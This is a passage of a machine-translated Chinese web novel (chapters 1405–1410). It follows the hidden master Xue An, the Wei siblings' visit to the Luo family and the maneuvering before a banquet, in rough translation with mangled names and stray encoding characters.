    However, at the moment when Xue An was shaking, Wei Qingxiao, who was leading her brother down, suddenly felt a sense. Huo Ran raised her head and looked in the direction of Xiaolou, but she was looking here. At the time, Xue An had narrowed his eyes and started drinking tea with his head down again.


    So as far as she could see, she didn''t notice anything unusual.


    Wei Qing''s smiling face couldn''t help showing a hint of doubt and solemnity.


    If she hadn''t just felt an extremely powerful gaze, she would even think that all this was her own illusion!


    But Wei Qing laughed and believed that he would never make a mistake. Just now, it was clear that an extremely powerful force was spying on him in this direction.


    But why did it disappear suddenly again?


    Could it be that he discovered that he was spotted and left?


    If this is true, what a powerful perception and speed?


    Otherwise, how could it disappear in such a fast time?


    From the beginning to the end, Wei Qingxiao didn''t think about whether it would not move at all.


    Because in her opinion, it is simply impossible.


    To completely cover up such a powerful force, the strength required far exceeds people''s imagination, and it is even impossible to achieve it.


    But she never expected that in Xue An''s hands, nothing is impossible!


    All this happened very quickly, and even when many people hadn''t noticed it at all, Wei Qingxiao had returned to normal.


    Even Luo Qifeng didn''t notice anything unusual. In fact, his attention at the moment was all attracted by Wei Qingxiao''s temperament, so he was naturally flawless to think about other things.


    Only one person noticed the scene just now, and even noticed the shock in Wei Qing''s smile.


    Because of this, he looked at the direction Wei Qingxiao had just looked at, and after a moment of contemplation, a very strange look appeared on his face, but soon, he bowed his head deeply and hid it. All the same.


    At this time, Wei Qingxiao had led her younger brother down the escalator Her every possible care during the walk and her deliberate highlighting caused a silent uproar in the audience.


    If Wei Qingxiao can be treated with such care, the identity of this young man will naturally be revealed.


    Except for the Wei family��s direct children, who can get this treatment?


    So in an instant, countless scorching eyes focused on this young man.


    Among them is Tan Xiyao who originally had a marriage contract with Ren Tianqi, but has been dreaming of making it to the sky.


    Her gaze was so soft that it could melt into the water, staring at the young man Wei Qingxiao was holding, wishing to rush up and have a good conversation with the young man.


    Because of such an urgent thought, she didn''t even notice the silly look on Wei Haocang''s face.


    At the same time, Luo Qifeng, Pan Yongge, Mo Jing and others all greeted him.


    Especially Luo Qifeng, whose face was full of excitement, bowed his hand at Wei Qing with a smile, "It turns out that Miss Wei came here in person. The Luo family is really honored!"

 Chapter 1405： Hide the facts, the young master of the Wei family

    Wei Qingxiao nodded slightly, and said lightly, "Are you Luo Qifeng?"


    If anyone else dared to speak to Luo Qifeng in this tone, he would have been slapped to death by Luo Qifeng.


    But when Wei Qing said it with a smile, it seemed so natural that even people didn''t notice anything unusual.


    All this is because the speaker is the eldest lady from the Wei family!


    The gap between status and status is like crushing.


    This also shows how powerful the Wei family is.


    Luo Qifeng, who was so strong that he always had an eye above the top, showed a look of honor after hearing that his name was actually known by Wei Qingxiao.


    "Yes, the humble is Luo Qifeng, the eldest son of the Luo family!"


    Wei Qing smiled and nodded, and said lightly: "This time I am following the young master to patrol the Quartet, just passing by you, so I will stop by and take a look! So don''t be too formal!"


    "Yes, yes! I''ll understand!" Luo Qifeng''s cold sweat came down.


    There is only one possibility for Miss Wei to call her Young Master, and that is that this young man is the current Young Master of the Wei family.


    If it is true, then this status is too noble!


    Noble enough, Luo Qifeng feels that his identity is not enough, he should let his father and even grandfather come out to greet him!


    In fact, the Patriarchs of the Luo family and many families really thought so at the beginning.


    But Wei Qingxiao knew his brother''s temper very well, and was very irritable when he saw the old men, so they were strictly forbidden to come and only sent young children to meet him.


    This is also the reason why there are only young children in this gathering, not a family elder.


    After hearing Wei Qing''s laugh, everyone looked at Wei Haocang, who was held by her, and their eyes were different from just now.


    In addition to awe and curiosity, there is more enthusiasm that can melt people away.


    Of course, such enthusiastic eyes generally come from women.


    Among them, the hottest one is naturally the nearest Tan Xiyao.


    When she heard that she was the young master of the Wei family, she really wished to post it now.


    But helplessly, the identity gap is too big, and she can only look forward to "foreign" and sigh.


    But just when Wei Qing was talking with Luo Qifeng, Pan Yongge and Mo Jing with a proud face.


    Wei Haocang suddenly became impatient.


    Although before coming, Wei Qingxiao had discussed with his younger brother more than once, asking him to be obedient.


    But for Wei Haocang, whose intelligence is only equivalent to that of a three-year-old child, it has not been easy to persist until now.


    I saw his body writhing, and at first the amplitude was a little small, but slowly it got bigger and bigger.


    at last.


    Wei Haocang said with the clearest speech he could achieve: "Sister, I want to eat something delicious!"


    This sentence made the originally solemn atmosphere instantly strange.


    Wei Qing laughed and sighed inwardly, knowing that this was already his brother''s limit, so he nodded gently.


    "Well, let''s go eat now!"


    "Hmm!" Wei Haocang''s face showed an extremely bright smile.


    Wei Qing smiled and turned his head to look at Luo Qifeng who was a little surprised, and said lightly: "Master is a little hungry, let''s go eat something! Have I got the snacks you prepared in advance?"


    "Ah...yes, yes! Already ready! Please come with me now!" Luo Qifeng instantly awoke, nodded and said, before leading the way.


    This sudden scene shocked the audience.


    No one knew what was going on.


    However, after Luo Qifeng and others led the Wechsler sisters to leave the square, there was a violent commotion in the audience.


    "Mom, Miss Wei''s family actually came here in person. I didn''t expect it!"


    "Who said no, I didn''t even dare to breathe just now, for fear that I would be disturbed again by this Miss Wei who is known for her eccentric temperament!"


    "That''s right, the aura in people''s body, tusk! It''s really scary!"


    "The point is that this time, there is also the young master of the Wei family! And listening to the tone of Miss Wei just now, this teenager is probably the young master of the Wei family!"


    "Hi! This identity... is really horrifying!"


    "But how do I feel that this young man is a little weird! Moreover, in front of so many people, he said he was hungry and wanted to eat! This..."


    "What do you know? Of course there are quirks of this or that kind of eccentricity like someone like that! What''s so strange about this!"


    Tan Xiyao suddenly remembered something amidst these discussions, and turned around and yelled at her little maid: "What are you still doing? Hurry up and send a letter to the family, saying that Young Master Wei is here, and she seems to like all kinds of things. All kinds of snacks, let them hurry and get ready to deliver them!"


    "Yes!" The little servant girl trembled and hurriedly went down to prepare.


    And Tan Xiyao''s words also reminded many people present that people have contacted their families through various means and asked to have a variety of food and delicacies.


    In this chaotic situation, Luo Jian thoughtfully looked at the figure of Wei''s brother and sister who had gone away, the brilliance in his eyes flickered, and he didn''t know what he was thinking.


    Above the small building, Xue An didn''t raise his head. After drinking the last cup of tea, he breathed out, and then murmured something with a smile.


    "Huh? Sir, what did you say?" Wen Mu Ling asked curiously.


    "Oh, nothing!" Xue An smiled slightly, then turned to Luo Jingting and said: "Clean up, I guess someone will come to visit soon!"


    Luo Jingting was taken aback, not understanding why Xue An said that, but now she has almost blindly followed Xue An''s words, so she nodded, then turned and went downstairs to clean up.


    "My lord, what are we going to do next? Kill these two Wei''s lackeys?" Wen Mu Ling asked bitterly.


    Xue An shook his head took a deep look at Wen Muling, and slowly said, "Of course the grudges back then have to be reported, but I hope you don''t lose your heart because of this, understand?"


    Wen Mu Ling stunned, then shuddered all over, nodding hurriedly, "Yes!"


    Xue An chuckled lightly, then leaned on the collapse, stretched lazily, "All we have to do now is wait!"


    "Wait?"


    "Yes, because since they are here with great fanfare, they naturally have to do something. This is what we have to wait for!"


    Wen Mu Ling suddenly realized, "You mean the banquet?"


    Xue An smiled, spreading his hands, "Who knows!"


    "Hey, it must be so!" Wen Mu Ling gave an expression that I knew, and then turned away excitedly.


    Xue An looked at her back who was excited because of the hope of revenge, smiled lightly, and said playfully.


    "If this is to let you know the truth, what expression would you have!"

 Chapter 1406： Work hard, give everything

    At the same time, in the most exquisite and luxurious small courtyard of the Luo family mansion, Wei Haocang gobbled up food, as if he had never eaten anything in his entire life.


    Wei Qing smiled and stood aside with a look of pity, and from time to time he gently tapped Wei Haocang''s back, and said strangely: "You eat slowly! Don''t choke!"


    Wei Haocang just smirked at this, but his hands were still crazily stuffing his mouth.


    at last.


    A table full of various snacks was stuffed into his stomach by Wei Haocang. Wei Qingxiao poured a glass of juice squeezed from centuries-old vermicelli with distress and fed it bit by bit to his brother.


    Of course, besides their siblings, there was no one else in the Abode at this moment.


    After sending in various snacks, Wei Qingxiao let Luo Qifeng and others leave.


    She didn''t want these people to see her brother''s taste like this.


    Because as long as you see this look, everyone will understand that there is definitely something wrong with his brother.


    Although she also knew it, it wouldn''t last long at all.


    Maybe it''s always good to keep it secret.


    Finally, the juice was almost finished.


    Wei Haocang contentedly burped, and smiled at Wei Qing. After a second, he closed his eyes and snored.


    Sleep when you are full, this is Wei Haocang''s daily life.


    Wei Qing laughed and shook his head, then raised his hand to wipe away the food residue on the corner of Wei Haocang''s mouth, gently walked out of the room, and came to the outside living room.


    "Come in!" Wei Qing said lightly without smiling.


    The door of the living room squeaked open and Luo Qifeng walked in from outside with a smile on his face.


    "Miss Wei, did you hear me when I arrived?"


    Wei Qingxiao did not reveal the fact that Luo Qifeng had just stood outside the door for a long time, but only smiled faintly.


    "What''s the matter with Master Luo?"


    Although only a small smile, Luo Qifeng was overwhelmed and dazzled.


    It was not until a moment later that Luo Qifeng solemnly took out a jade slip, and said solemnly: "Miss Wei, my father is very happy for your visit, and specially prepared a reception banquet for you, which will be arranged tonight... ...."


    Before he finished speaking, Wei Qing laughed and waved his hand, "Don''t say it!"


    "Huh?" Luo Qifeng was startled, not understanding what it meant.


    "I have traveled a long distance, Master and I are a little tired, so let''s skip the banquet tonight!"


    "But..." Luo Qifeng wanted to say that the giants from all walks of life already knew the news, and they were all gearing up to attend tonight''s banquet.


    But Wei Qingxiao didn''t give him this opportunity at all. She got up and left, but after walking a few steps, she suddenly stopped and said without looking back, "If you really want to hold a banquet, then choose Tomorrow!"


    There was ecstasy on Wei Qing''s smile, and he nodded hurriedly, "Okay! I''ll report to my father now! Miss Wei, you should rest as soon as possible!"


    After speaking, Luo Qifeng looked at Wei Qing and smiled fiercely.


    Wei Qing smiled faintly, and nodded, "Thank you, Master Luo!"


    Luo Qifeng''s face instantly flushed, as if he was drunk, and his whole body became smoked, and he nodded frantically.


    "No...you''re welcome!"


    "Now... can I go?" Wei Qing smiled when Luo Qifeng stood there and didn''t move, and the smile on his face gradually subsided.


    "Ah! Sorry, I was impolite!" After that, Luo Qifeng hurriedly turned and left.


    When the door closed again, Wei Qingxiao was left alone in the living room.


    She sat sullenly on top of the collapse, her eyes slightly lost.


    The fact that his own brother was a fool is not known to outsiders except the Wei family.


    Because this mattered the face of the Wei family, naturally no one dared to disclose such things.


    Because of this, Wei Qingxiao left a cruel and cruel impression in the hearts of everyone.


    No one knew that she was doing this to protect her brother!


    But now, as Wei Haocang gets older and older, Wei Qingxiao can no longer protect Wei Haocang as well as before!


    Because at his age, he should have developed his own power long ago!


    But because of Wei Haocang''s intellectual deficiency, his current performance in this area is still zero.


    Compared to him, Wei Yuhua, the Third Young Master, did much better.


    Not to mention the long-sleeved good dance, but also made a lot of strong people.


    Even now, there are still many people who don''t even know that the Wei family and the orthodox descendants like Wei Haocang exist, but think that Wei Yuhua is the well-deserved young master of the Wei family.


    Because of this, Wei Yuhua is ready to move, eager to take Wei Haocang and replace him.


    Wei Qingxiao is naturally aware of all this, but it is different from other methods that can be cracked.


    This hand is almost unsolvable.


    If Wei Haocang is still protected in this way, Wei Yuhua''s position will become more stable, and it will even become an established fact later.


    So this time I came to the depths of the ghost world not only to avoid the pressure of the family, but also to cultivate the prestige of my brother as much as possible.


    Now it seems that this beginning is not so wonderful.


    That''s why Wei Qingxiao used the excuse of tiredness from the journey and turned away the banquet tonight and changed it to tomorrow.


    Because she is not sure.


    In the event that his brother makes a fool of himself at the banquet, all his previous efforts will be in vain.


    A kind of visceral fatigue made Wei Qing smile leaning on the chair, not wanting to move.


    In fact, Wei Qingxiao didn''t think about giving up.


    But the following facts made her wake up.


    The Wei family''s interests are so great that anyone can''t help but develop covetousness.


    If that''s all there is to it.


    But there is even greater interest than the Wei family, and Wei Yuhua''s ambition.


    Wei Qing laughed more than once and read the naked possessiveness from the way Wei Yuhua looked at him.


    At that time, Wei Qingxiao understood that this was an endless battle.


    If you fall prematurely, you will lose not only the benefits, but also yourself!


    As for his younger brother...


    At that time, it may become a pet kept by some people, or it may die.


    This fact is something Wei Qingxiao cannot accept.


    So she can only bite the bullet to fight!


    I hope you will bless me and let my brother recover as soon as possible! I am willing to dedicate everything I have!


    Wei Qingxiao began to pray in a low voice.


    There was also a weak side above the extremely firm face.


    at the same time.


    Luo Qifeng also told his father, the current head of the Luo family, Luo Gaoyang, of Wei Qing''s laugh!


    "Due to the exhaustion of the journey, change to tomorrow?" Luo Gaoyang frowned slightly Father, Wei Qingxiao said so! "


    Luo Gaoyang pondered for a moment, then nodded, "Alright, then you go and prepare!"


    "Yes!"


    After Luo Qifeng left, Luo Gaoyang was silent, then looked at the elders on the left and right, and said lightly: "What do you think?"


    "Haha, with the strength of this Miss Wei, how could it be possible to feel tired because of the mere rush, this is nothing more than an excuse!" An elder sneered.


    "This time Wei Qingxiao led his younger brother who had never been seen in public to appear suddenly. This in itself is strange!"


    "Yes, it seems that the previous rumors about the shadowy heroes should be true! This Wei family''s direct descendant definitely has a problem!"


    As soon as this sentence came out, the audience was quiet.


    After a long time, Luo Gaoyang said in a deep voice: "Whether it is or not, tomorrow''s banquet will naturally see the difference!"

 Chapter 1407： Two choices for night talk

    Into the night.


    Because this courtyard is in the corner of the Luo family''s mansion, the surroundings became quiet as soon as night fell.


    Standing on the second floor, you can see the brilliant lights in the depths of the Luo family''s mansion and the faint hustle and bustle that follows Xi Xi''s breeze.


    All this brought out the desertedness and solitude of this small courtyard.


    Just like Luo Jingting''s position in the eyes of everyone in the Luo family, it is optional and no one cares about it.


    In this strange silence, Xue An sat in front of the window on the second floor with a calm expression, as if waiting for something.


    Wen Muling and Luo Jingting did not dare to ask, they could only stand by and wait in silence.


    at last.


    There was a sound of footsteps outside the small courtyard, which spread far in this silent night.


    Then he stopped in front of the courtyard.


    These noises naturally awakened Luo Jingting and the others.


    Both of them have different faces.


    Who else will come so late?


    Xue An''s mouth raised a faint smile, "Miss Luo, go and greet you, the people we are waiting for are already here!"


    As soon as the voice fell, a quiet voice came from outside the door.


    "Sister surprise, open the door!"


    Hearing this voice, Luo Jingting was shocked.


    It''s Luo Jian!


    The adult waiting for him is actually him?


    But why does he come here?


    All kinds of doubts instantly climbed into Luo Jingting''s heart, but she soon recovered a little sober, and then subconsciously walked to the door of the small courtyard and opened the courtyard door.


    really.


    Standing in front of the door, it was not Luo Jian who stood smilingly!


    "Seven...Seven brothers!" Luo Jingting said in a daze.


    Luo Jian smiled slightly, "I''m sorry to disturb my surprise sister to rest at this late hour!"


    Although she was talking to Luo Jingting, Luo Jian''s gaze passed through her and looked at the courtyard.


    At this moment, Xue An in front of the window on the second floor said lightly: "Since it''s here, please go upstairs!"


    Hearing these words, Luo Jian shocked all over, then slightly nodded at Luo Jingting, and turned into a black light, appearing on the second floor.


    His sudden appearance caused Wen Mu Ling to let out a short exclamation.


    Xue An sat on the chair quietly, without even lifting his eyelids.


    After Luo Jian stood firm, looking at the young man in white clothes hidden in the darkness, he couldn''t help taking a deep breath, then clasped his fists and arched his hands.


    "Luo''s seven sons, Luo Jian! Have seen Mr.!"


    The words are very respectful.


    Xue An chuckled lightly, then slowly raised his head and gave Luo Jian a meaningful look.


    "You are very smart!"


    Luo Jian smiled.


    But before his smile fully bloomed, Xue An had already leaned on the chair and said lightly: "But I sometimes hate smart people, especially the smart ones!"


    Speaking of this, Xue An raised his eyes and glanced at Luo Jian with a sharp look, "I don''t know... which one are you?"


    After meeting Xue An''s gaze, Luo Jianru was struck by lightning, and his complexion instantly turned pale.


    Because he had never seen such a terrible look in his eyes.


    It is not condescending indifference, nor is it pretending to be arrogant cruel, but a kind of peace that is close to nothing.


    That''s right!


    It is a kind of non-existent look.


    In front of this kind of look, I was like a lamb waiting to be slaughtered. Apart from trembling, there was no way to resist.


    Finally, Xue An lowered his eyes, his eyes narrowed.


    Only then did Luo Jian let out a sigh, only to feel that his whole body was soaked in cold sweat.


    Although it was only a short moment, Luo Jian felt as long as a century had passed.


    This could not help making him look at Xue An with amazement.


    Before coming, he had already raised Xue An''s strength as much as possible, but after seeing this look, Luo Jian knew how ridiculous his previous thoughts were.


    Just now, I actually wanted to demonstrate with this young man by becoming a black man!


    What is this not looking for death?


    So he stammered: "First... Sir, forgive me, I..."


    Xue An waved his hand, "No need to apologize, I don''t need it! In fact, if I really mind, you are dead now!"


    Xue An showed a cold smile, "Do you believe it?"


    Luo Jian swallowed subconsciously and nodded, "I believe it!"


    "Answer me now, are you really smart or pretend to be smart?" Xue An leaned on the chair with his legs up, his fingers tapping the armrest of the chair lightly, quietly looking at Luo Jian, waiting His answer.


    At this time, Luo Jingting had also walked to the second floor. When she saw Luo Jian, who was very powerful in her own eyes, she looked like a primary school student at this moment, standing pale in front of Xue An, even after she didn''t even dare to move. , I couldn''t help but tremble violently.


    No one dared to speak.


    The atmosphere became very depressing and tense.


    Finally, Luo Jian showed a wry smile, "My lord, of course I want to be a really smart person!"


    In just a few words, Xue An has been promoted from husband to adult in Luo Jian''s mouth.


    "Anyone who is smart wants to do it, the key is that you have this ability and...ambition?" Xue An asked with a smile.


    Luo Jian''s expression instantly became awe-inspiring, "My lord, don''t worry, how can I put my skills aside, ambition... I never lack!"


    When he said this, Luo Jian''s eyes seemed to be burning, terribly bright.


    Xue An knew that what was burning was desire.


    "Very good! Then I will ask you now, how did you think of coming to me?"


    Luo Jian took a deep breath and slowly said, "It''s very simple. When welcoming the Wei family today, I noticed that Miss Wei suddenly looked in a certain direction with amazement, even though it was only a short moment. I noticed!"


    "Oh? Is it just because of the look in that Miss Wei''s eyes?" Xue An played with it.


    Luo Jian nodded One look is enough proof! "


    "Then why only you noticed it?"


    Luo Jian smiled slyly, "My lord, even if someone else noticed at the time, I probably didn''t understand what was going on! Only I can know the inside story! Because I personally arranged this courtyard for Sister Jingying! "


    "And the direction Miss Wei was looking at was exactly this courtyard!"


    Xue An took a deep look at Luo Jian, "What then? How did you know it was me?"


    Luo Jian smiled, "Actually, when I first saw you in front of the door, I knew that you would never be the guard of Surprised Sister!"


    "Oh? Why do you say that?"


    "Because I can''t see through you!" Luo Jian said frankly.


    "Sister Jingting is just a child of the Luo family. It is impossible to have a guard like you based on her strength! So my first thought was that you are definitely not an ordinary person!"

 Chapter 1408： Know how to be in awe

    Luo Jingting''s words made Luo Jingting chill.


    She had no idea that he could guess so many things just by meeting.


    And Xue An seemed to have expected everything.


    The whole process seems to be a fool alone.


    At this time, Xue An laughed, "Yes, it seems you are really smart!"


    "Thank you, sir!"


    At this moment, Xue An suddenly asked: "Then I will ask you now, do you want to control the Luo family?"


    When this question came suddenly, Luo Jian was shocked and looked at Xue An in amazement.


    "grown ups����."


    "Don''t be surprised, I will ask you, do you want it or not?" Xue Anyou said.


    Luo Jian was lost in thought.


    The reason why he visited here late at night was just to get acquainted with this hidden master. He didn''t expect to ask such a question, so he was so shocked.


    But through Xue An''s strength just revealed, there was a glimmer of hope in Luo Jian''s heart.


    What if... what if it really becomes?


    Xue An didn''t urge, just looking at Luo Jian quietly.


    After a while, Luo Jian breathed out slowly, then solemnly nodded.


    "Of course! But..."


    Before he could say what it was, Xue An interrupted him without hesitation, "Very well, then the matter is settled!"


    Luo Jian''s eyes widened and looked at Xue An blankly.


    What does it mean?


    Want to know how easy it is to control this Luo family?


    Although the Luo family is not comparable to the big giants in the Central Ghost Realm, their strength is quite impressive.


    Coupled with the presence of Luo Qifeng and his party members, the Patriarch of the Luo family and the elders are a big problem that is hard to avoid.


    With so many difficulties, there is only such an understatement in his mouth?


    "What? You don''t believe me?" Xue An said slowly.


    "Ah... letter! Of course!" Luo Jian nodded in response.


    Xue An laughed and changed the conversation, "As the Seventh Young Master of the Luo Family, you should also have some power of your own!"


    Luo Jian nodded, "Yes!"


    "Well, I hope you will clean up yourself after you go back now. Those who have done a lot of wrongdoing... you should know how to do it yourself!"


    Xue An''s tone was indifferent, but Luo Jian sensed a strong killing intent from it, so he nodded in response without hesitation: "Yes!"


    This decisiveness caused Xue An''s expression to relax a little, then stood up and walked slowly to the window, "You are a smart man, you should be able to guess why I asked you to do this!"


    Looking at Xue An''s back, Luo Jian suddenly thought of something, and his whole body began to tremble, and his eyes appeared in awe never before.


    "You...you mean..."


    "Yes, tomorrow''s banquet should be very lively! Isn''t it?"


    Luo Jian finally stopped speaking, but bowed his head deeply, expressing his awe of the young man whose name he still doesn''t know.


    "Go! I''ll give you one day, I hope you won''t let me down!" Xue An commanded lightly without turning his head.


    Luo Jian bends down and bows, then quietly stepped back, finally walked down the stairs and disappeared into the night.


    The second floor became quiet again.


    Luo Jingting''s expression was distressed, and everything that happened during this period of time was clearly beyond her understanding.


    As a girl who has never experienced the sinister heart, she can only stand aside blankly.


    Wen Muling looked at Xue An''s back, but he stopped talking a little.


    "Just say anything!"


    Wen Mu Ling hesitated for a moment, then whispered: "My lord, why do you value this Luo Jian so much?"


    "Is it important?" Xue An shook his head, "I didn''t value him!"


    "Huh? But you just..."


    "Did you know? A giant like the Luo family can''t be killed at all! Even when Mingjun and I were in the ghost world together, these giants were not completely wiped out, and once the things that suppressed them were gone, , These giants will start to do evil immediately!" Xue An said suddenly.


    "Then you..." Wen Muling said in his heart, why do you want to support Luo Jian in the upper position?


    Xue An smiled, "As you just said, I actually didn''t mean to value this Luo Jian at all! It''s just that he is still awed and has never committed any crimes, so I will Give him this chance!"


    Speaking of this, Xue An turned his head and looked at the night outside the window, and said lightly: "Darkness is endless. Now I can make them pay, but after killing a wave, another wave will grow out. In this way, I might as well find someone who knows restraint and awe to take charge of all this, so that at least the evil can be restrained, understand?"


    Hearing what Xue An said, Wen Mu Ling suddenly realized, and then leaned over and said: "Understand!"


    At the same time, in another courtyard of the Luo family''s residence, Luo Xuan sat panting on a chair. The house was in a mess, and the exquisite utensils had been smashed to pieces.


    And Luo Xuan''s pretty face flashed hideous colors from time to time.


    At this moment, a maid walked into the room with trepidation.


    "Miss!"


    "How''s it going?"


    "Master, he has gone back to his room!"


    "Huh? You mean he didn''t stay with Wei''s brother and sister?"


    "Yes!"


    Luo Xuan''s face suddenly glowed with brilliance, hehe smiled and said, "Okay! It''s great! Hahaha!"


    The maidservant looked at Luo Xuan who seemed to be trapped in devilishness, and whispered, "But there is one more thing!"


    "What else?"


    "Young Master invited the distinguished guests to the dinner tomorrow!"


    When Luo Xuan heard the words, his face instantly became gloomy, his eyelids beating frantically, and then he began to pace back and forth in the room.


    The little maidservant shuddering did not dare to look up.


    Suddenly.


    Luo Xuan, who was lowering his head and wandering, suddenly thought of something, and began to smile nervously.


    The laughter was harsh and unpleasant, making the little servant girl pale and shivering all over.


    "Hehe, what **** Miss Wei family, do you really think I am a fool? The so-called young master of the Wei family today has a big problem! Humph, if you are honest then, if you dare Get involved with my elder brother, then don''t blame me for being rude!"


    That''s right.


    This Luo Xuan has always had a deformed love for her elder brother Luo Qifeng.


    Before that, she didn''t take it too seriously because she thought it was someone from the Wei family who was visiting here.


    But I never expected that it would be a young lady from the Wei family.


    And when she greeted her this afternoon, Luo Xuan clearly saw the obsession on her elder brother''s face, so she was so jealous.

 Chapter 1409： This intriguing dinner, finally...

    With this undercurrent surging, the night finally passed.


    By the time it broke the next day, the city of thousands of ghosts began to become lively.


    Those who came here before were all young children of the rich.


    But when the respective families heard that the Wei family was not an ordinary young master, but the real young master of the Wei family, and they were going to hold a dinner tonight.


    Patriarch elders of various wealthy families waited to hear the wind and rushed here all together.


    Because of this, the entire Luo family is even more lively, and the people in charge of the reception are simply too busy.


    "Hey, where''s the Seventh Master? Who of you sees the Seventh Master coming?" asked a tired, breathless Luo family.


    "I''m also looking for the Seventh Young Master! They said that they hadn''t seen the Seventh Young Master''s shadow since this morning, and no one knew where he went!" said a person next to him.


    "Strange, the Seventh Young Master has always appeared at this time, what happened today?" Someone asked with a puzzled look.


    In the past, as long as the Luo family held major events, it was usually Luo Jian who was in charge of receiving them.


    Although this is a chore, Luo Jian has always done his best because he can accumulate contacts and cultivate prestige. It has never been the same as this time, even without a personal shadow.


    When many people were surprised and suspicious, the day passed quietly.


    Wait until the sun is about to set in the afternoon.


    Luo Jian just appeared in front of everyone.


    After seeing him, many Luo family children rushed up.


    "Seven brother, what are you doing here?"


    "Yes, Brother Seven, why haven''t you seen you appear this day?"


    In these questions, Luo Jian''s slightly pale face showed a faint smile.


    "Today I suddenly had something wrong, so I delayed some time. Thank you for your hard work!"


    "It''s okay, it''s okay!" Everyone responded, and the trace of grievance in my heart also disappeared.


    After all, Luo Jian is also the seventh young master of the Luo family anyway, he has already apologized, what else?


    But from the beginning to the end, no one noticed the faint blood emanating from Luo Jian.


    When the crowd dispersed, Luo Jian secretly breathed a sigh of relief, while the hands caged in his sleeves trembled slightly.


    In this day, hundreds of ghosts died under his hands.


    Most of these ghost races are Luo Jian''s own forces.


    It can be said that he is completely slashing his wings by doing this.


    If before today, someone told Luo Jian that you would attack his own people tomorrow, Luo Jian would definitely think that the speaker was crazy.


    But today, he really did.


    And the reason is because of those words of Xue An.


    Thinking about it carefully, even Luo Jian felt a sense of absurdity.


    Just because of what a person who has only met twice said, I paid such a high price.


    Is it worth it?


    This question lingered in Luo Jian''s mind.


    For a moment, he even had a trace of regret.


    But when Luo Jian remembered the way Xue An looked at him, his whole body was stiff again.


    And Xue An''s sentence, do you want to control the Luo family?


    Also let Luo Jian''s heart gradually calm down.


    He finally made up his mind.


    Don''t regret it if you do it. As for the result... it''s tonight!


    at the same time.


    Wei Qingxiao gently tidied up Wei Haocang''s clothes.


    I have to say that Wei Haocang''s skin is extremely good.


    Especially when he put on this well-prepared gown, he looked even more handsome and handsome.


    But the premise is that he cannot speak.


    Once he speaks, the momentum that he has accumulated with great difficulty disappears instantly.


    Such as this moment.


    Wei Haocang fiddled with his clothes a little awkwardly, dissatisfaction appeared on that handsome face, and he said vaguely.


    "Sister, uncomfortable!"


    "Hey! Just bear it for a while!" Wei Qing laughed and hurriedly held Wei Haocang''s wrist to stop his movement.


    The only thing Wei Haocang heard was his sister''s words, so he hummed a few times and stopped talking.


    "Cang''er, do you remember what my sister said to you? We are going to meet many people later, but you can''t talk, just keep silent and look at everyone!"


    Wei Haocang nodded, "Remember...remember!"


    "Here, then you will learn with me again now!" Wei Qing smiled tirelessly and taught his brother again, until finally satisfied, then nodded.


    "Very good! Remember not to talk, not to eat! Remember?"


    "Hungry!" Wei Haocang said suddenly and very wronged.


    Wei Qing laughed and chuckled, "Cang''er, when you are hungry, you will have to bear with it. When it''s done, my sister will prepare a lot of delicious food for you, and I promise to let you eat enough, okay?"


    A smile appeared on Wei Haocang''s face and he nodded obediently.


    "Let''s go!" Wei Qing laughed holding one of his younger brother''s hands and took a deep breath. The aura of the whole person instantly became cold, and then he stepped out.


    Luo Qifeng had been waiting outside early.


    When she saw Wei Qing, who had changed his outfit but was still glamorous, smiled, his eyes lit up, and then took a few steps forward and said with a smile: "Miss Wei, I have been waiting here for a long time. Now the banquet hall is already Get ready, let''s go now!"


    Wei Qing smiled quietly and nodded slightly.


    "it is good!"


    at the same time.


    Dressed in full costume, Luo Xuan walked down her show building and said lightly: "Let''s go! It''s getting late!"


    Not only her, but with the beginning of the Hua Deng, people from various wealthy families came in and crowded the huge banquet hall.


    But this time the banquet hall was divided into two distinct areas.


    On one side are the Patriarchs and elders of various wealthy families headed by the Patriarch of the Luo Family.


    On the other side are young children.


    In this way, the two parties do not interfere with each other.


    At this moment, everyone was talking and laughing with their friends.


    The topic is nothing more than today''s banquet, and the upcoming Wei family.


    However, in these voices, there will inevitably be some unharmonious voices.


    For example, some wealthy direct descendants gathered together and looked at the lonely Ren Tianqi standing aside in the distance, gesticulating, and bursting into unbridled laughter from time to time.


    "Tsk tusk, did you see it? That''s the second young master of the Ren family, the one who watched his fianc�� hook up with others, but didn''t dare to say anything!"


    "Hey! This guy dared to come to the banquet, it''s really interesting!"


    "Shhh! Didn''t you see that his face was almost cannibalistic?"


    Ren Tianqi''s face is indeed extremely ugly now. He stared at the costumed Tan Xiyao in the distance, who was chatting and laughing with a few girlfriends, his teeth were almost crushed.


    Of course he knows the reason why Tan Xiyao is so excited, but the more he is like this, the more he feels that his face has been slapped countlessly, with fiery pain.


    Just as he was about to explode, someone patted his shoulder lightly.


    Ren Tianqi turned to look, but saw Luo Jian smile at him slightly.


    "Brother Tianqi!"

 Chapter 1410： All forces

    After a while, Ren Tianqi sat on the chair in the corner with a dejected face, sipping alcohol.


    "Don''t want to say something?" Luo Jian said lightly.


    Ren Tianqi trembled all over, and then smiled bitterly, "What? Didn''t you see? My family and the elders and patrons of the Tan family have already come, but who has taken care of how I feel?"


    Speaking of this, Ren Tianqi twisted her hair painfully, her eyes were full of light of choosing someone, "I really want to kill that **** now, can you believe it? My strength can''t even beat her!"


    Ren Tianyun''s words had already brought a hint of crying, and he was obviously on the verge of collapse.


    Luo Jian was silent for a moment, then slowly raised his head and said lightly: "Brother Tianqi, do you... want to change?"


    As Ren Tianqi said, Tan Xiyao is indeed very excited now.


    As the concubine of the family, she never had a chance to get ahead, and the best ending might be to be treated as a commodity and traded to people in other families.


    Such as her marriage to Ren Tianqi, the second son of the Ren family.


    But she didn''t expect good luck to make people. This time her sister Tan Feiwen followed Ren Tianyun on business trips, but she never returned.


    That''s why she was qualified to participate in this gathering.


    At the beginning, Tan Xiyao just wanted to get along with the direct descendants of the Luo family or some other wealthy family.


    She even considered that if she couldn''t do it, she would try to get in touch with the seventh master Luo Jian from the Luo family.


    Anyway, as her heart is higher than the sky, marrying anyone is better than marrying Ren Tianqi.


    But I never expected that the Wei family of the Central Ghost World would suddenly come, and it would be the young master of the Wei family.


    Such a big gift suddenly appeared in front of him, how could Tan Xiyao let it go.


    After hearing Tan Xiyao''s thoughts, the people of the Tan family did not hesitate to express their support.


    After all, compared with the benefits that can be obtained, offending a concubine of the Ren family is nothing at all.


    So she didn''t have time all day today, she was always dressing herself up crazily, just thinking that she could shine at this banquet.


    It would be perfect if you could take this opportunity to get in touch with the young master of the Wei family!


